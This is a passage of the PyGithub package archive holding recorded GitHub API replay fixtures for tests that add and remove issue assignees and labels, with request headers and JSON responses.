v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2025-01-03T18:50:01Z","pushed_at":"2024-12-19T12:01:11Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16425,"stargazers_count":7117,"watchers_count":7117,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1793,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":356,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1793,"open_issues":356,"watchers":7117,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":false,"allow_rebase_merge":false,"allow_auto_merge":false,"delete_branch_on_merge":true,"allow_update_branch":true,"use_squash_pr_title_as_default":true,"squash_merge_commit_message":"PR_BODY","squash_merge_commit_title":"PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"enabled"},"secret_scanning_non_provider_patterns":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1793,"subscribers_count":111} https GET api.github.com None /repos/PyGithub/PyGithub/issues/28 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 03 Jan 2025 19:01:05 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"4f9f2e3ae3fbedf89903cc5b9b41c547de19b5604d701a91684de32048920575"'), ('Last-Modified', 'Sun, 20 Oct 2024 07:14:52 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1735934464'), ('X-RateLimit-Used', '2'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'CF3E:521E5:22932EE8:237616D4:677833F1')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28/events","html_url":"https://github.com/PyGithub/PyGithub/issues/28","id":4653757,"node_id":"MDU6SXNzdWU0NjUzNzU3","number":28,"title":"Issue created by PyGithub","user":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false},"labels":[{"id":3330121,"node_id":"MDU6TGFiZWwzMzMwMTIx","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/bug","name":"bug","color":"e10c02","default":true,"description":null},{"id":3376821,"node_id":"MDU6TGFiZWwzMzc2ODIx","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/question","name":"question","color":"02e10c","default":true,"description":null}],"state":"closed","locked":false,"assignee":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false},"assignees":[{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false}],"milestone":{"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/8","html_url":"https://github.com/PyGithub/PyGithub/milestone/8","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/8/labels","id":150933,"node_id":"MDk6TWlsZXN0b25lMTUwOTMz","number":8,"title":"Version 1.4","description":"","creator":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false},"open_issues":0,"closed_issues":3,"state":"closed","created_at":"2012-07-24T16:04:28Z","updated_at":"2012-09-11T18:52:13Z","due_on":"2012-08-05T07:00:00Z","closed_at":"2012-08-04T06:11:43Z"},"comments":3,"created_at":"2012-05-19T10:38:23Z","updated_at":"2019-05-03T09:44:22Z","closed_at":"2012-05-26T14:59:33Z","author_association":"MEMBER","active_lock_reason":null,"body":"Body edited by PyGithub\n","closed_by":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false},"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28/reactions","total_count":2,"+1":0,"-1":0,"laugh":0,"hooray":2,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28/timeline","performed_via_github_app":null,"state_reason":"completed"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue.testAddAndRemoveAssignees.txt0000644000175100001660000001544114756101563025046 0ustar00runnerdockerhttps GET api.github.com None /users/jzelinskie {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"569c414d87e8ec43ec269a9e28bc2982"'), ('date', 'Sun, 27 May 2012 09:04:01 GMT'), ('content-type', 'application/json; charset=utf-8')] {"login":"jzelinskie","id":343539,"avatar_url":"https://avatars.githubusercontent.com/u/343539?v=3","gravatar_id":"","url":"https://api.github.com/users/jzelinskie"} https POST api.github.com None /repos/PyGithub/PyGithub/issues/28/assignees {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"assignees":["jayfk","jzelinskie"]} 201 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d135d74d2ea2159d044676a220d41d3a"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-05-26T14:59:33Z","body":"Body edited by PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/1","number":1,"title":"Version 0.4","due_on":"2012-03-13T07:00:00Z","open_issues":0,"created_at":"2012-03-08T12:22:10Z","state":"closed","description":"","id":93546,"closed_issues":3},"number":28,"closed_by":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"assignees":[{"login":"jacquev6","id": 327146,"avatar_url":"https://avatars.githubusercontent.com/u/327146?v=3","gravatar_id":"","url":"https://api.github.com/users/jacquev6"},{"login":"jayfk","id": 2930472,"avatar_url":"https://avatars.githubusercontent.com/u/2930472?v=3","gravatar_id":"","url":"https://api.github.com/users/jayfk"},{"login":"jzelinskie","id": 343539,"avatar_url":"https://avatars.githubusercontent.com/u/343539?v=3","gravatar_id":"","url":"https://api.github.com/users/jzelinskie"}],"closed_at":"2012-05-26T14:59:33Z","title":"Issue created by PyGithub","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-05-19T10:38:23Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4653757,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/28"} https DELETE api.github.com None /repos/PyGithub/PyGithub/issues/28/assignees {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"assignees":["jayfk","jzelinskie"]} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d135d74d2ea2159d044676a220d41d3a"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-05-26T14:59:33Z","body":"Body edited by PyGithub","url":"https://api.github.com/repos/PyGithub/PyGithub/issues/28","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/milestones/1","number":1,"title":"Version 0.4","due_on":"2012-03-13T07:00:00Z","open_issues":0,"created_at":"2012-03-08T12:22:10Z","state":"closed","description":"","id":93546,"closed_issues":3},"number":28,"closed_by":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"assignee":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"assignees":[{"login":"jacquev6","id": 327146,"avatar_url":"https://avatars.githubusercontent.com/u/327146?v=3","gravatar_id":"","url":"https://api.github.com/users/jacquev6"}],"closed_at":"2012-05-26T14:59:33Z","title":"Issue created by PyGithub","labels":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}],"created_at":"2012-05-19T10:38:23Z","state":"closed","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4653757,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/PyGithub/PyGithub/issues/28"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue.testAddAndRemoveLabels.txt0000644000175100001660000001437314756101563024332 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/labels/Bug {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('content-length', '97'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"569c414d87e8ec43ec269a9e28bc2982"'), ('date', 'Sun, 27 May 2012 09:04:01 GMT'), ('content-type', 'application/json; charset=utf-8')] {"color":"e10c02","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug"} https GET api.github.com None /repos/PyGithub/PyGithub/labels/Question {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('content-length', '107'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"b659c8dcc1212c71f826547c3cc7ae99"'), ('date', 'Sun, 27 May 2012 09:04:02 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"} https GET api.github.com None /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c9f9beccb03030beaf7b80927da6fef6"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}] https DELETE api.github.com None /repos/PyGithub/PyGithub/issues/28/labels/Bug {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"46cc70bad88a09b559a5e67089005105"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}] https GET api.github.com None /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"46cc70bad88a09b559a5e67089005105"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}] https DELETE api.github.com None /repos/PyGithub/PyGithub/issues/28/labels/Question {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"5352ae15c8a5a36c6cace63be9367332"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"}] https GET api.github.com None /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"5352ae15c8a5a36c6cace63be9367332"'), ('date', 'Sun, 27 May 2012 09:04:05 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"}] https POST api.github.com None /repos/PyGithub/PyGithub/issues/28/labels {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} ["Bug", "Question"] 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d135d74d2ea2159d044676a220d41d3a"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"color":"e10c02","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug"},{"color":"444444","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management"},{"color":"02e10c","url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question"}] https GET api.github.com None /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c9f9beccb03030beaf7b80927da6fef6"'), ('date', 'Sun, 27 May 2012 09:04:06 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue.testAddAndRemoveLabelsWithStringArguments.txt0000644000175100001660000001214714756101563030240 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '335'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c9f9beccb03030beaf7b80927da6fef6"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}] https DELETE api.github.com None /repos/PyGithub/PyGithub/issues/28/labels/Bug {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"46cc70bad88a09b559a5e67089005105"'), ('date', 'Sun, 27 May 2012 09:04:03 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}] https GET api.github.com None /repos/PyGithub/PyGithub/issues/28/labels {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4988'), ('content-length', '237'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"46cc70bad88a09b559a5e67089005105"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Question","name":"Question","color":"02e10c"}] https DELETE api.github.com None /repos/PyGithub/PyGithub/issues/28/labels/Question {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"5352ae15c8a5a36c6cace63be9367332"'), ('date', 'Sun, 27 May 2012 09:04:04 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/labels/Project+management","name":"Project management","color":"444444"}] https GET api.github.com None 